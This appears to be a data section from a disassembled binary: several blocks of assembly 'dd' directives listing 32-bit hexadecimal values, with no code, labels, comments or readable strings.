dd 0B8ACD1D2h, 0B8F0DF08h, 2167D188h, 20946294h, 0FA392316h
dd 770E6451h, 3842648Dh, 0C488555h, 2FD82C2h, 0AE577922h
dd 54740508h, 1810ACA2h, 1C051261h, 0A04EC0BDh, 0E58870A8h
dd 6F5D20CEh, 0D8C75513h, 885ED4A8h, 695EC69Ch, 6F2FD821h
dd 0FC202880h, 0CEE77EAAh, 0A2A2DD27h, 0A759683Ch, 2485840h
dd 0F442FC0Dh, 5197BC00h, 5D3C0AE5h, 0BCD8DC08h, 0B24D62Ah
dd 0D7C430C6h, 5E3A1C05h, 8C710B98h, 9E05A060h, 865F8F13h
dd 185508B8h, 404020E1h, 122EFCDDh, 34C25E0Eh, 38446704h
dd 0DC4AF048h, 536AE351h, 98940404h, 0BF694275h, 35BCE43Eh
dd 0D4173F8h, 9091DD04h, 0E5C86318h, 0D5326B64h, 8855DB19h
dd 0C4CB1C08h, 18022568h, 29B63D74h, 41797985h, 405FA58Ch
dd 0ED408845h, 0E04E6544h, 0F89C8B38h, 538409EFh, 0EEC41EDCh
dd 0B1ED0284h, 2751690h, 0E05B1EE4h, 4011E30Ch, 4216845Eh
dd 18CFA7C4h, 7E88E484h, 0B888E410h, 1A2B0527h, 0BD5EF71Ch
dd 1D3B8FCh, 242F2CF4h, 0C70F34D9h, 0F896C4A8h, 0C028B94Bh
dd 7C989622h, 2E1CF146h, 0D6D7003Eh, 0FA218D56h, 0FCACBD09h
dd 0D0ACFB3Dh, 4900BED8h, 0CA1FE303h, 0EE6E262h, 0D12BCE0Fh
dd 2B8DB0Dh, 5C9D8799h, 8980F011h, 3837D06Eh, 0F9F7805h
dd 98A9BD6Ah, 46C7D507h, 0B2DA20ACh, 9036BF3h, 7798FD2Bh
dd 0B3C08838h, 44459548h, 2A1D9011h, 0AC6B051Ah, 31844078h
dd 855F01EDh, 10CA3802h, 401CC9FCh, 293488Ch, 36CCD8B4h
dd 3C7EDF92h, 7C139441h, 9A14C83Bh, 64000378h, 8B302425h
dd 94EA9228h, 5488000h, 0A6F92E55h, 0B1FF2601h, 8D3073E3h
dd 9336088Eh, 67005DC8h, 0D39FAE0Eh, 4B1D278h, 0B6CA11A8h
dd 0F42F4F1Ch, 8039EE23h, 7F8371A7h, 42C95Fh, 0C6DBA8BAh
dd 60ADD606h, 0DCA9BB12h, 72F254E2h, 0A9F7030h, 94A45650h
dd 0CC39608Ch, 3603C346h, 639F98F8h, 0E257E488h, 3075F2ECh
dd 4B3DBC74h, 61E8803Ah, 29DF2592h, 99DA001Ah, 0B30E2BB0h
dd 31E3598h, 0A1474D94h, 0F1F9FFDDh, 189879F8h, 0A08E2C39h
dd 0E0841F3Ch, 0ACE22E4Ah, 0E2309FE2h, 0B0BD0065h, 0A3133B5h
dd 0DC006DC7h, 0EBB78C9Ah, 983961F6h, 47BE4E6Ch, 0E0767034h
dd 0B3F155AAh, 0D0AE1512h, 64C69B00h, 1CC45099h, 89389202h
dd 0AC5644E6h, 0A83ADD91h, 0F909B780h, 0D5F33625h, 0E2C823F9h
dd 0F65F30F2h, 0E912361Fh, 2DA784FDh, 84410DE4h, 30BC38D7h
dd 8F012AE8h, 32C431C2h, 3C7069h, 7B1291C0h, 0A840C2D5h
dd 0DE0588F5h, 3DC1F360h, 27A07633h, 74DB40FCh, 8BC1E759h
dd 0B5AB2060h, 9A882C90h, 98D4C301h, 367FE7CBh, 5E8D70h
dd 93C2AACFh, 0AD85582Fh, 4E48AFBFh, 7008C083h, 0E46C5Ch
dd 1F5D2F52h, 5F34400Ch, 9EC53F0Bh, 855C02B8h, 0F18071D1h
dd 93C81F93h, 3117174h, 0BE31CF56h, 80417E14h, 5E30FAACh
dd 5D95179Dh, 0C054B259h, 489D5718h, 0B8E26DDh, 4AF0018h
dd 9F0E3A3Fh, 48D0235Eh, 0BCF1CEh, 6C16C096h, 0AE9AC5A3h
dd 51334902h, 0C85E48DAh, 2F59D608h, 0D4E49439h, 2E027702h
dd 41E0128Dh, 18A43294h, 0C57363F8h, 1FE4DBC0h, 0F9677C00h
dd 0D9ABE606h, 266EE2Bh, 74FA1CAh, 5C56C8C5h, 85929987h
dd 8DFB1D0h, 2A8800F1h, 9DAD43AEh, 0F800A03Ch, 0C43ADCFEh
dd 4285E2h, 0DF7BE0F9h, 0F4D63522h, 655A13Fh, 617ECA5Eh
dd 0E1F70318h, 8ABE95C6h, 701E9900h, 0B5091425h, 3823EB53h
dd 74DC805Eh, 0B40034D4h, 0E5535424h, 2CAADCh, 8742B6D1h
dd 9836622Bh, 915D39h, 0A42F12F8h, 0F9E33Ch, 84BEBCD8h
dd 41E8328h, 6917D909h, 452858C2h, 0FF643096h, 86AC7B18h
dd 78562879h, 49E4E599h, 0D1B9017Fh, 9A402536h, 0F4D6F235h
dd 0D48EDB81h, 8AC4551Eh, 22401816h, 8538604Ch, 8CF0BD00h
dd 5B4292B0h, 0B17F053Bh, 2E64529Fh, 0ABA00C04h, 3FF1054h
dd 0C3D542DBh, 2100673Ah, 0ED8D3843h, 0F4A7162Eh, 7AB57CA6h
dd 0E5098239h, 485A8106h, 0FE819478h, 21B92890h, 4C67F99Dh
dd 991F0450h, 21B03963h, 0F75ECF0h, 1EB9899Ah, 18A16786h
dd 39BD8E33h, 7641EE19h, 0C167301Eh, 79EC6118h, 0D8AC39C5h
dd 0D1746000h, 465F77h, 7B26F09h, 0F0B8EEF7h, 53C2F900h
dd 0D6AFF16Eh, 3491C27Dh, 98AF5B86h, 0C0E9DB00h, 6C0032BDh
dd 0C15CB63Bh, 0C34922C2h, 893CAB21h, 0F64856A0h, 19C01FEAh
dd 0C22C65A2h, 4BE85Ah, 0B9846CA5h, 7D675FEFh, 3F0050F8h
dd 396E5E36h, 376FA3Eh, 0AB299B70h, 8019AA0h, 0DF048E66h
dd 5CE8D5AEh, 23C215A4h, 0FBC04C5Ah, 0B23C529Eh, 0E076A229h
dd 3020E01Eh, 0AF488138h, 0F0C88331h, 155E110Eh, 0ACB7E1h
dd 825A253Eh, 3D8A711h, 5F78BF7Eh, 482CABEBh, 0B43D5E64h
dd 0E0202076h, 0F1D52ADBh, 0AFF686D2h, 36400C18h, 7E217453h
dd 3930B6F0h, 3CAD7171h, 886451CDh, 488051E1h, 0BC65ABF7h
dd 8E3013C3h, 1E987155h, 0F891E991h, 0C60B0082h, 0D4C8D8EAh
dd 514E0CB8h, 0DDC1C58Fh, 691B2800h, 0B613D0F6h, 5B483AFEh
dd 0E584068h, 0AF026E9Ch, 104889D5h, 10CA0770h, 68098C1h
dd 0BADBF0F7h, 0CD2B038Ah, 395E666Ch, 31CE439Ch, 3C75A1DFh
dd 0FF157422h, 0A300BCACh, 12D38B37h, 89300E58h, 57FE7962h
dd 23710009h, 0AC5AF6E6h, 0B0C06A2Ah, 5BE906B8h, 442C90AFh
dd 0A703DB3Bh, 0A9ABF993h, 0C8F1FB91h, 1803146Fh, 0D1B1A066h
dd 0A900844Bh, 0B021635Fh, 1924ABDFh, 21A13574h, 221C24E9h
dd 88173845h, 805E3084h, 2B2A9BA9h, 0AC14B5CFh, 0CFD44DD6h
dd 0A80DD218h, 6058519Eh, 1C3C31F4h, 0D8D62A21h, 573E837Ah
dd 260CD0F3h, 0D58F8B15h, 254404D0h, 20837B2Eh, 0A569F0DBh
dd 7A990067h, 2BE9D93Bh, 6C5633E6h, 296D0514h, 300420D6h
dd 0C127333Ch, 0F07FCF69h, 0A9D2398Fh, 727E701h, 9D40103Fh
dd 30AAA2Fh, 0F9E5FFD9h, 910BB98Dh, 8082A5B1h, 6198662Dh
dd 0D4AF12AAh, 60C4497h, 2F68C490h, 0A4610828h, 3D13747Ah
dd 18BAF388h, 0AA7F59C1h, 0C078392Ah, 0CD6DD003h, 2BFE85Fh
dd 8737B561h, 0C2406779h, 0E648B9A8h, 6036881Ch, 3EB0F98Eh
dd 52A6F714h, 88A42198h, 1832DC29h, 616518CCh, 86F47E44h
dd 2C634120h, 5030C091h
dd 11C1CB86h, 9EC236B2h, 3B348C4h, 0D5A6D3F8h, 0CB9AD628h
dd 0ECDF3880h, 0A0F9B987h, 90ABD8F0h, 3F0A5DC0h, 0EE4EE806h
dd 38815744h, 0BDB40E20h, 60049240h, 41DEB227h, 0C9CDE59Ch
dd 0A1072082h, 4004F62h, 13AE18DAh, 772061h, 8766C5ACh
dd 3E05566Dh, 30042540h, 0D9DB7880h, 3CEB48EAh, 6200F839h
dd 5510410Ah, 44A1ECF1h, 1518305h, 1DE6E9DCh, 9F2DF631h
dd 0EF80B09Dh, 704CA94Ch, 19263E6Ch, 6518D15Dh, 0DD726F20h
dd 3DD58418h, 993900BAh, 5D79A76h, 66059FADh, 96C02162h
dd 9C308789h, 4983EE22h, 0B410506Ah, 0EF7940D1h, 8AE981F8h
dd 8CA18618h, 0C225F140h, 2B690176h, 0D622DBDAh, 38BCD0C7h
dd 0C04A602Ch, 83F1B880h, 0E0DD5FA4h, 0B018D023h, 8B026922h
dd 0DFACBE1Eh, 0E9F8A779h, 28DBC6B0h, 9DE4BDh, 7B615E78h
dd 771A3F9Ch, 70988024h, 7A09369Dh, 204C042Fh, 908E3944h
dd 9D73E184h, 1790597Ch, 0BC61A7F8h, 0A5EC8F60h, 7B99E0D3h
dd 0C0BCA29Dh, 0CB458A5h, 827ABA9Fh, 17018FF8h, 20644DD3h
dd 2990A033h, 81378427h, 0F9420348h, 471324A1h, 27504193h
dd 0FCBB506h, 442B7C9Bh, 0B1DEF2E0h, 56036685h, 0C459FC29h
dd 0DA20A81Eh, 959F0016h, 11149051h, 8A0707CBh, 0ED697C84h
dd 7786403Eh, 339571h, 51B03483h, 49117958h, 733F4C0Eh
dd 0D1F6A185h, 0AF30B7AEh, 6AFB1898h, 0A2A729FFh, 4E0C3E00h
dd 0E0F1E220h, 0F2AC0360h, 0E8C9EFC6h, 65BB06D0h, 0EB620h
dd 76589BCEh, 5BCCA494h, 7333FE1Fh, 0B6892280h, 404923h
dd 69B5E3Fh, 0E0DE9E7Fh, 6297370Fh, 3EAC80AEh, 9039E3h
dd 0F73C5643h, 7AAB1BA2h, 0B8911400h, 787BE147h, 0AAFB51F1h
dd 3435E20h, 863DFF23h, 0C9C06F91h, 0A50E0E92h, 20144110h
dd 0DFB75FF6h, 9303002Fh, 0F919E45Ah, 0C200B436h, 465E26Ah
dd 264BAAFEh, 83C056C5h, 16800870h, 8DF2BDF8h, 6B345A00h
dd 0E0A9CC02h, 60451E77h, 553340D8h, 0CACB307Dh, 40006C98h
dd 0B8217083h, 95E2FBh, 8AC8A02Bh, 0C10A3816h, 0E32F0C0Fh
dd 3BF1A0CBh, 0A0C7BFDFh, 0FE0D27A4h, 0AD29005Ch, 0B0316EBh
dd 7F0070AFh, 1354EF32h, 3BBFC15h, 0C3805551h, 59E0D752h
dd 0D9CCB379h, 0F8731117h, 705C00AFh, 0ADD202DBh, 6901B4CDh
dd 0CB142E5Bh, 0BFF80AF5h, 9C7A30h, 5DC84E09h, 51B53DF4h
dd 0BD761903h, 9032BCB2h, 444947h, 0E8CC1E69h, 8AF12233h
dd 1001FE72h, 29F26573h, 9420B63Dh, 0E55E0349h, 51501ADBh
dd 0B3AA9BB8h, 0DFD4AB02h, 48FC68FDh, 0D0B228h, 30F0C463h
dd 5C4703ACh, 1E7E551Dh, 7A827B40h, 0F5FD75h, 8ECFB7C5h
dd 1B267067h, 97EFC200h, 1F60DE47h, 4D747Fh, 581AE0E4h
dd 5BA3545Ah, 0C0801D48h, 0BB2BFF53h, 8CA9512Fh, 7A17FCh
dd 0CD7C6534h, 4EED15A3h, 88D80902h, 62EF40B8h, 465E60C1h
dd 0B32A01EBh, 0CFFFB2F9h, 0A59CC05Ch, 0A2C9F000h, 0BF3BE810h
dd 8D0300B7h, 0F9468BEAh, 8E0009ADh, 0EFA4BB47h, 371660Dh
dd 0C1DADFDCh, 0B0D743FBh, 0AA69CC8Fh, 6087A400h, 0E81EA378h
dd 98A0710Dh, 4CF9F230h, 6A00E4EFh, 0E3609E66h, 530015DBh
dd 0C68B5054h, 740C8CFh, 0EDB97DBAh, 0A231D004h, 0A71FC975h
dd 2281EE18h, 88B46891h, 0FE26D9F4h, 92D805BDh, 205D8FD3h
dd 9E4F57D0h, 0BFE9E400h, 2A6F05F0h, 900901B9h, 0F16C598Ah
dd 25E0CD7Bh, 2320C8FCh, 0BC2558C1h, 1992D434h, 0E154006Ch
dd 0EB8FC360h, 0F4C672C4h, 281D6880h, 0FC6D0115h, 80F8DD3Eh
dd 8450D4C2h, 8DC5A200h, 0D6A0A9Fh, 14B89055h, 0F883285Dh
dd 2AF79900h, 0A36F1245h, 217ABA7Bh, 97FE2F00h, 8AAC220Fh
dd 82E91EBCh, 0F85EC042h, 6FD9A8BAh, 4D9A3301h, 45F9D7E3h
dd 0B82036F5h, 9B6420C4h, 0AAE05678h, 0E9204200h, 554EFDF0h
dd 1E9D794Bh, 8F9F6EFBh, 16600D2Ch, 0D013969Ah, 28EFB301h
dd 62AAB0A9h, 94A3570h, 2BED855Bh, 88E7BC40h, 1E88FD54h
dd 9A003170h, 9E4399A8h, 16A91CAh, 0D1152F58h, 804163E9h
dd 9C957928h, 71B9354h, 8D07D314h, 60708785h, 0EABB8F38h
dd 49849A00h, 8C7242D8h, 22B600DCh, 197BB0F6h, 7D03AB25h
dd 0A6D29E97h, 30A08C7Eh, 9F710195h, 86540F94h, 0FC3820D7h
dd 55243600h, 0A1FA575Ch, 10923E66h, 0B8D41189h, 4620DC00h
dd 95001278h, 985ECB9h, 52FE6434h, 1E00ACC0h, 5028E751h
dd 0CCA81442h, 9624228Ah, 13018D30h, 891175ABh, 0E07D9C8h
dd 4627F184h, 836E55C0h, 0FC59AF67h, 4A360E18h, 0D3FD027Eh
dd 2D4E03B7h, 1BF775E0h, 796F5900h, 93187D39h, 9BEE00BFh
dd 0B5BAB8A2h, 33003031h, 0D16A9725h, 3D3FF58Ch, 68813AD0h
dd 325D7298h, 1680E719h, 4000F16Dh, 91CD2262h, 1E6971EAh
dd 19D28B12h, 0F4498837h, 0BE7FDC51h, 1967FD01h, 81B15D8Ah
dd 4C2D6670h, 860034A2h, 4D47F6E5h, 0E200C045h, 36D41905h
dd 81B9C3h, 0FFF21ACBh, 0D9BBEE83h, 741C5024h, 64051424h
dd 58806872h, 0F8F91860h, 7BA7012Bh, 0E6977E51h, 0C432C8h
dd 80F8B54h, 1C5EEED9h, 8010C141h, 0D86560DDh, 3902C5A7h
dd 0BE771C4Ch, 0F7D580AAh, 16C25Dh, 0B61F7244h, 0BD7FD29Dh
dd 23888000h, 0C989C7D7h, 0D03D014Ah, 46B9519Fh, 75D08219h
dd 6307BDD4h, 66A6F8B4h, 0C08A0586h, 0D0CC41BCh, 804DE8A8h
dd 0C19D1A00h, 3C118DF4h, 8906006Ch, 3B77E1AFh, 0EF0C5926h
dd 984A9830h, 92C200ABh, 8381DEAh, 0B30E1B64h, 4191197Dh
dd 0EE7C0FE1h, 17610820h, 1851765Ch, 8657EE6Ah, 68203300h
dd 9EC9DB7Dh, 0DC431271h, 846C049Fh, 800B5D5Fh, 1F94201Eh
dd 1DA50A8Eh, 8059F639h, 5D03413Eh, 0AA309C64h, 0ECB130DAh
dd 0FC931662h, 1270099Dh, 0C025E805h, 0AB7C717Ah, 511B8030h
dd 38750BBh, 0EAD5040Bh, 1900455Ah, 0CDD952D1h, 2AF29Ah
dd 0AF65083Dh, 0E612A2A0h, 7B9E4C1Dh, 41D8EDC3h, 766AD84Ah
dd 0DCC13A1h, 0B65CD033h, 294C7BE2h, 1F8D48CBh, 67C0811Bh
dd 795E379h, 1F6FA5Bh, 55A0B9A8h, 0D8022049h, 5E00FD23h
dd 0BFDCC214h, 0F366174h, 0FA0CBE1Ch, 0AA405818h, 3A157678h
dd 19085303h, 0BA21D8D2h, 4AE934E0h, 265800B6h, 0C3B5F012h
dd 0A8D33Ah, 406B3F20h, 0C0E976C2h, 88415618h, 6C010BF3h
dd 4FAFBBD6h, 4200C28Dh, 0E7095AE3h, 57A676h, 82DBFC9Dh
dd 0D9F105D5h, 0D0603788h, 0A6D39F9Ch, 6724B509h, 86F38748h
dd 17219040h, 30926Bh, 4DCC838Fh, 0B05A5464h, 0F497C600h
dd 9AFF5F0Bh, 0EA120C27h, 0A0B8A4C5h, 8F01505h, 2CB5728Bh
dd 8F84041Bh, 0A0E4A01Eh, 3CFC59h, 16389E07h, 6939A7h
dd 0F4F9D63h, 6C33F2A4h, 7D96A000h, 1E06B1A3h, 9529C83Dh
dd 24F76C42h, 8CC04082h, 1329BE4h, 0A90D99FEh, 60881076h
dd 0FB0083F4h, 743D6193h, 1314F86h, 0A8E64C99h, 0C55CC213h
dd 0D7D3F88Ch, 47B1FE00h, 0FAA95D7Ch, 64B034h, 0E43C4320h
dd 7783F273h, 4B8C7100h, 7B51BE2Fh, 28DA162Ch, 0CE30001Eh
dd 0E26F1107h, 868D3102h, 0A0D1DEB8h, 3AC95784h, 0D30008Eh
dd 1C6FD6CEh, 8A3DFBCFh, 0A37B1D58h, 0EA83D4A6h, 0E05E55EEh
dd 38FCBF67h, 90004B9Ah, 0B5A252A9h, 240E187Eh, 0AC894EEFh
dd 4B1561BBh, 1A304435h, 5DEDC0E0h, 0E3FA1894h, 44013073h
dd 0F9A3633Eh, 9760C3ACh, 0E45E5C35h, 99DBED00h, 3BCCD27Bh
dd 0AF642500h, 75A66854h
dd 0ACCD0EF4h, 0C9805A1Eh, 0CA5BA4F3h, 0F9007473h, 0CE1734B6h
dd 3C9710FCh, 4DBA4A8Dh, 66E0E100h, 27E6AEC5h, 0AD452500h
dd 35EE96BFh, 55480FC0h, 0BDA199C8h, 0CCF958C6h, 0FA01017Bh
dd 0D5461964h, 1881C552h, 0FE99B238h, 47B480D4h, 0F26243B0h
dd 235D0EA2h, 0C1A381CEh, 0D4809154h, 0E3004131h, 83FE6DEh
dd 0B8B29F05h, 3EEF0056h, 0D5EC288Ch, 7D012719h, 7B914BB8h
dd 0F271F850h, 21A8A000h, 79A10034h, 19693FECh, 6001E0F3h
dd 20D304A5h, 90003D22h, 0B400D9EAh, 723A5196h, 75ABD005h
dd 5E4100E3h, 0BB87DD65h, 0B301BAB6h, 67E896EEh, 35DCB492h
dd 0D89455h, 0E74421Ch, 0E800B591h, 60300581h, 17A4BCFAh
dd 412F6BD5h, 3E4C24A8h, 0B69FE410h, 921E8605h, 0C8C0FC2Ch
dd 720D71A7h, 5D50985h, 0F480ED88h, 0AA72585Dh, 1CAE4F00h
dd 0FF6F1561h, 8E322FCDh, 7BB26000h, 2909432Ah, 2591195h
dd 0E97A8D18h, 0F2F5BD90h, 4F4CF889h, 3EA3C8A1h, 0C0288158h
dd 7B8BFB7h, 48729830h, 390038F0h, 818901D1h, 0BC186C50h
dd 0B918DD4Bh, 72400A4h, 0B7637364h, 9300B546h, 0AC2CC0F6h
dd 7045567Ch, 0BBC009Ah, 0B9A25FCAh, 2E0339EDh, 6C042AF7h
dd 1F30D7ACh, 120B5B5Dh, 804438D5h, 0C7CED0D8h, 423E431Ch
dd 0B8B1B980h, 2A2FB3h, 9FE3292Ch, 1258A0A6h, 5919400h
dd 0BA0A2B5Dh, 7F9E02CEh, 0FB184530h, 608D00C0h, 4EB1491Fh
dd 6AD8BD41h, 38F8A7ABh, 0CAFCE585h, 4D010061h, 0AAA0053Bh
dd 0BD000A33h, 8074B6D3h, 2BF6F9h, 0E71158ABh, 0C667633Dh
dd 37684300h, 0DA0EFBEAh, 0A5E20032h, 3F46280Bh, 4590DED7h
dd 0D2BDF100h, 775AADFCh, 0D49092h, 98CBB47Ch, 3FD140F2h
dd 8470373Ch, 0C42BE256h, 9131DDC7h, 0CC435E0Bh, 0E04C82D8h
dd 28AF9790h, 0FCEB87ECh, 69400C0Ch, 0F690DB7Ch, 0E1925500h
dd 705B3E75h, 0E8BC6016h, 8BD1A49Dh, 9E018EF8h, 0E12D9251h
dd 2420D5AAh, 78CA0132h, 98A7A4ADh, 0FB986005h, 0AFA06600h
dd 0A91F177Bh, 4A370287h, 6B369C30h, 0D7007478h, 24D33BA1h
dd 985AB7E8h, 0E05F0FA0h, 0EE2C13EBh, 0DAFEE1C8h, 0D2B8EA00h
dd 3AABB3ADh, 4CF90092h, 949818E0h, 0CF097B63h, 9ACB5Eh
dd 1633B73Ch, 3CFC2CD1h, 0E0CE0068h, 8B5F3D24h, 0C6E73A02h
dd 0C8597BACh, 0B84D52E4h, 9C2A0074h, 6191D673h, 0A45C45A9h
dd 0E71A00C4h, 0DFD31FBh, 0CC9002CAh, 5EA878A3h, 55D8BEC0h
dd 14284774h, 5000D822h, 2BF9EBE4h, 9E565EC3h, 0A4F18038h
dd 669ACF51h, 91F50100h, 8B4AC877h, 0E44B1Ah, 4763868Ch
dd 0F601E92Dh, 0B669BC28h, 0B420F00Eh, 0FEA10097h, 8643C134h
dd 0B34D6E38h, 5A2220E4h, 461440EEh, 8CAC9042h, 0F492164Ah
dd 0F050433Eh, 6A6D9AFh, 3FC85ADFh, 7405E01Dh, 2F07BCD3h
dd 14005485h, 8E82B7A5h, 0F2010129h, 850B1877h, 20A4D17Ch
dd 881857BFh, 0E098FE03h, 73A23DF4h, 3850ACh, 4C8BC12Eh
dd 0F0005821h, 0D02D3B8h, 9851BF74h, 37EF3A07h, 0ECBC28h
dd 0D09FB3F9h, 0B1615A7Dh, 0E8A1007h, 1D408796h, 0C1D2A720h
dd 0F5C89CC1h, 6B37FC8Eh, 0AE840100h, 243A7AE0h, 0ADEB0055h
dd 0E263CD1Ah, 9001BFCCh, 7361FE8h, 0F54018A1h, 2D279119h
dd 11D08BF2h, 0E8068512h, 0D8DD5C07h, 0EFF1B5C6h, 0C88193FDh
dd 8BF02617h, 6192C816h, 6A9C0900h, 6EA28942h, 0CDB90045h
dd 3444F69Eh, 0C30755E3h, 0DC1D9D97h, 0EB15A6C0h, 23E40051h
dd 5DA4019Bh, 85E6941Bh, 94007B4Ah, 0CA101998h, 868A0006h
dd 0FC03797Eh, 7400F2F5h, 0EE676870h, 0DB22E8h, 0A4CBD95Dh
dd 96835173h, 0F8C7E900h, 7142600Dh, 0A8D40281h, 9D097A11h
dd 0F3B2D440h, 146D5Ch, 48952C57h, 9EB4A14Fh, 0B41E92F0h
dd 9BFC684Ch, 0EF93CB00h, 8CF32435h, 52830017h, 0B1E5762Ch
dd 249C57CDh, 0F3B614h, 0CE04960Fh, 1460F1ABh, 0F8D14A2Dh
dd 0D33E900h, 9FBC90D2h, 0EF406C94h, 94142116h, 9EE98028h
dd 0D582D7A2h, 0EFA4FB02h, 87152117h, 0A234E710h, 4CD16C95h
dd 99D07F29h, 18796360h, 10115726h, 873CC8DBh, 8797F312h
dd 5468044h, 5360909Ah, 36487721h, 687600A2h, 0A5A7F589h
dd 2A24D3A9h, 771FF025h, 932F9200h, 7DE386Ch, 76659C5Ah
dd 0C2203F90h, 0A2F5E9AAh, 0D552DB00h, 3785D9EEh, 86A49461h
dd 0F9B5A7D1h, 76AA3A00h, 7A4EA040h, 4B104A3h, 0A051DC68h
dd 6206B640h, 6A0AEDBh, 0E8AB00E9h, 0FEFCBC18h, 0EBECC019h
dd 570A9516h, 5D736102h, 0C488C186h, 9FD49280h, 0F0FC3625h
dd 0DA0092F4h, 0B1C0B6C3h, 33516DEh, 9417EEF8h, 0D2A8B9C6h
dd 6F0E9FCDh, 478A7D7Ah, 80C0A6B4h, 988EC345h, 0BDFD0027h
dd 0CB0864A2h, 0FE005338h, 654A24BFh, 0C3F75Dh, 77F74C7h
dd 0DBAE8A98h, 0E305D026h, 40D1060Eh, 0A4CCFE24h, 0B25A008Bh
dd 0CD038208h, 9B0E8037h, 0E0D0226Ah, 970D6F76h, 0D7AE0091h
dd 8046F360h, 81F69EA4h, 0B6BC1200h, 0FD5FC8Bh, 0E28A0067h
dd 4EA7067Dh, 1C96D279h, 0F9C0845Eh, 0CFE044Fh, 10442686h
dd 0BE8DFCBAh, 0C75F08A4h, 9EAE7388h, 0BA18606Fh, 0CB2994CCh
dd 0B0E888C4h, 78085B89h, 84B79244h, 42B2A322h, 91AF1147h
dd 1042847Fh, 61083321h, 940F909Ch, 1F296426h, 129A2C21h
dd 0BCFC10FBh, 0AC080B89h, 84E72444h, 22C1D022h, 0EE224CF7h
dd 11534227h, 0E321C3ABh, 9026E808h, 427B883Fh, 0E82F4ACFh
dd 842B902Ch, 0BB48C8ECh, 24296E42h, 5D5B4397h, 0CFC9C053h
dd 3D4200CAh, 0B6BA3F47h, 2C00B4B9h, 0A72D322Bh, 131DE01Eh
dd 0C7B76790h, 0BF0CB088h, 8600A5D1h, 0ED184532h, 58C53DD3h
dd 0EE0B4497h, 34E02A2Fh, 400139ECh, 1C57B53Ah, 17D8D112h
dd 63F4F8h, 0BFA8F7A1h, 4F79ACFCh, 462D3801h, 4B5BCB8h
dd 7F129460h, 81B300E3h, 4D91F682h, 22006F58h, 8D57BB2Ah
dd 1F285E2h, 0D8BE3493h, 0D8F38B28h, 1700AAD0h, 0DC0D52F1h
dd 1888D77h, 882356Eh, 0CB06A25Ah, 0EF8336F2h, 0F490AE46h
dd 27E02402h, 0E2403812h, 68706849h, 76308F4h, 0A680F851h
dd 0EE747022h, 71007852h, 0BC0FD977h, 6A1C6Ch, 51D8C0EFh
dd 0ACFBD3AFh, 0CDC35900h, 0BF10CE64h, 0B84F0355h, 5FE3A39Eh
dd 0DB5DE0A8h, 68FF7800h, 157F50Ch, 73D2091Ah, 9C7A02A3h
dd 4490194Ah, 25E6F926h, 0F040F294h, 530027C8h, 6C3C63DAh
dd 4E7CABh, 92B5DF8Fh, 383941FBh, 0E0796700h, 5B59069Ah
dd 731817E5h, 6AE000DBh, 74588982h, 50DE3000h, 0D3020981h
dd 54F16ECh, 0C00100B4h, 0FD67280Fh, 0DC13F819h, 0E7C80D38h
dd 2D570087h, 0DACCE1F3h, 3F07F8E8h, 0C46D5E1Fh, 7CBD16h
dd 35C3313Bh, 9CEEEF3Ah, 3ECDFD00h, 1CE28363h, 0B9640080h
dd 0A2D6C636h, 0EF0047FCh, 0C4299F52h, 0FBD49C8h, 8573436Ah
dd 0F5CAAA80h, 720055A8h, 167EADB9h, 7849BA8Fh, 795700DFh
dd 141B95E2h, 68F8FAA5h, 9E17D800h, 1C531398h, 0F08A0589h
dd 80B8F16Fh, 6D48528Ch, 0FABB2000h, 702D97E2h, 0A70D14DBh
dd 170085E6h, 8FF6C59Ah, 0EA00F78Eh, 624BD4BCh, 3FBD4D32h
dd 3C82A7D9h, 0B0781D53h, 4071ACC1h, 14627AFh, 5016FC1Eh
dd 62C62F80h, 9C257AB2h, 34F10090h, 0D2BAEC79h, 2C5D4A01h
dd 74C5D449h, 250DCFCh, 0B28E868h, 68F8B65Ah, 0A061362Fh
dd 0BC133818h, 73B91ED2h, 0F2B60983h, 4FCA400h, 8F00BD05h
dd 1F600237h, 0E2F59CDh
dd 0F646295Dh, 26D55E01h, 4D38C8A9h, 90345Dh, 3E2B7B85h
dd 5E768612h, 0AF40052h, 357D122h, 915F921Ch, 0F4808913h
dd 0FD9535h, 0A0063748h, 0CB114FAAh, 1AAED8C4h, 809E6CA8h
dd 77A33223h, 34487506h, 6CEC009Ch, 0B7463FBBh, 0FD1A0088h
dd 847917A6h, 0EF251443h, 0F9CC4E0h, 6BE9273Fh, 0F77046C7h
dd 9DB06C96h, 77406800h, 0EAB5DA0Eh, 2C520285h, 0E1C3FA63h
dd 0CD3D0D61h, 4A6BE4D0h, 28753Eh, 389EF002h, 19687Bh
dd 8D5AF3B0h, 82C09823h, 0A2B1E00h, 5B2704C1h, 0F59900CBh
dd 680D432Ch, 7F05B09Dh, 65AF291Dh, 200088E6h, 0A55BFAEBh
dd 0CF04A0B5h, 0BA8011D6h, 92B86CD0h, 3C553E42h, 16D4B97h
dd 0C614EC87h, 0F2F9D091h, 7AADDD07h, 9B702186h, 0E604AB1h
dd 0A82F2927h, 9E146442h, 18905663h, 3B008D6Fh, 9171B519h
dd 37AF89h, 272346F6h, 6D06B120h, 8B0040E0h, 2D586993h
dd 4E1716h, 79B91FB7h, 10A756C4h, 0FC068100h, 0BAC244Fh
dd 74B00077h, 11FEC63Fh, 95003378h, 0DFD6F74Ah, 478B2Bh
dd 0F1F8017Ah, 556675EEh, 8DFE2A00h, 0C0EB0818h, 0AAEA0E6Eh
dd 40E06783h, 1BE0F8F1h, 81742Eh, 18202316h, 0F2A5B42h
dd 0A0D4BA0Dh, 14412CE1h, 0EA83CF7h, 0A1AE56E9h, 2F262BAFh
dd 72A0E0C8h, 975800A4h, 0F9CF151Ah, 9C010C7Dh, 0E5717775h
dd 0C64010C4h, 281243Eh, 5BCC7B86h, 34404411h, 0BE006FF3h
dd 0ACC90228h, 0AB7F82h, 0DC1EC80Eh, 0A984E385h, 7028DD00h
dd 4B54ACA3h, 138800C3h, 604E07Dh, 0A5009509h, 81BC806Bh
dd 16C02433h, 0F86FB40Dh, 99CC0042h, 72D158C9h, 0B9F8A9h
dd 27A71A31h, 0BA1D103Fh, 3C75023Bh, 9D0701AEh, 8701C099h
dd 6B1AC4h, 53976F44h, 694EDBB2h, 81003373h, 0E389E5C2h
dd 26C92259h, 0FCB838h, 0DE242D2Ch, 9A799E1Ah, 178D27h
dd 7C84881Ch, 0FD02007Bh, 0EE306EF6h, 65F6B8DFh, 802A573Dh
dd 74A1CEDBh, 2958256h, 8DE5BCE8h, 0D0C093F5h, 7942FFBEh
dd 0B4E6D601h, 6C35CE62h, 0DD7E1464h, 32841E8Ah, 0E247807Dh
dd 0AC430D11h, 96FE52h, 8B04CC30h, 4FF05181h, 0D3835303h
